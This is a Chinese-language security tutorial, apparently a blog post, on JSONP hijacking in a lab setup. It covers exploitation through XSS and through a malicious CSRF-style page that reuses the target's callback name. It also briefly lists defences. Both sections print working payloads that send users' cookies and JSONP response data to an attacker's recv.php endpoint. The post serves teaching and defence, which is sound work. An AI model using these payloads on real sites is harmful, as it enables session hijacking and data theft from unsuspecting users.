• JSONP 跨域访问(2), JSONP劫持


    JSONP 跨域访问(2), JSONP劫持

    一, 利用 XSS 漏洞执行jsonp

    1. 利用过程

    发现有jsonp的请求:

    <script type="text/javascript" 
    src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback">script>
    
    • 1
    • 2

    xss漏洞的位置注入代码:

    <script type="text/javascript" 
    src="http://192.168.112.200/security/jsonp.php?callback=alert(1);//">script>
    
    <script type="text/javascript" 
    src="http://192.168.112.200/security/jsonp.php?callback=document.cookie;//">script>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    如果能弹窗说明服务器没有对回调函数的名称做检查, 那么 callback 后面可以执行其他js代码.

    <script type="text/javascript" src="http://192.168.112.200/security/jsonp.php
    ?callback=location.href='http://192.168.112.202/recv.php?
    cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//">
    script>
    
    • 1
    • 2
    • 3
    • 4

    在这段代码中的 %2B%26URL编码后的字符。
    %2B 代表加号(+),在URL中用于表示空格或连接字符串。
    %26 代表和号(&),在URL中通常用来连接多个参数。

    '%2Bdocument.cookie%2B' 会被解析为连接 document.cookie (当前页面的cookie信息)到字符串中,相当于 +document.cookie+
    '%26url='%2Blocation.href 是将 &url= 字符串连接到 location.href (当前页面的URL)。

    当浏览器执行这段脚本时,它会请求 jsonp.php 文件,并传递一个 callback 参数。服务器应该响应一个调用该回调函数的JavaScript代码,其中包含了服务端希望在客户端执行的代码。

    攻击者服务器(在这个案例中是 http://192.168.112.202/recv.php)会接收到包含用户cookie的请求,这样攻击者就可能会窃取用户的会话信息。

    2. 防御手段

    对传递到后端的回调函数名的长度进行判断
    利用白名单限制回调函数的名称

    二, 利用CSRF漏洞, 构造恶意网站劫持JSONP请求

    如果后端限制了callback 函数名, 那么可以伪造html页面绕过检查, 执行恶意代码.

    编写一个html页面, 用目标网站相同的回调函数执行自己的代码.

    <script type="text/javascript">
      // 回调函数
      function jsonpCallback(data) {
        location.href = "http://192.168.112.202/recv.php?value=" 
        + JSON.stringify(data) + "&referer=" + document.referrer;
      }
    script>
    <script type="text/javascript" 
    src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback">script>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    上面这段代码向目标200网站发送jsonp请求, 调用与200网站上相同的函数 jsonpCallback, 绕过了服务器对回调函数的检查.
    函数执行自己的代码, 向攻击者202服务器请求recv.php, 攻击者可以利用这个脚本保存发送过来的用户数据.

    当用户访问恶意html页面时, 向200服务器发送jsonp请求, 并将请求到的用户数据发送到202服务器上.

  • 相关阅读:
    基地址:环境变量
    运维网关系列1:开发网关的初衷
    Unity开发一个FPS游戏
    python面向对象
    基于JAVA银行客户管理计算机毕业设计源码+系统+mysql数据库+lw文档+部署
    Spring Boot将声明日志步骤抽离出来做一个复用类
    RabbitMQ实战
    公司服务器中的kafka消息中间件挂了,我是如何修复的?
    Matlab数字图像处理 02 灰度变化(图像直方图、直方图均衡化、直方图匹配)
    DAMA-DMBOK2重点知识整理CDGA/CDGP——第16章 数据管理组织与角色期望
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/134240332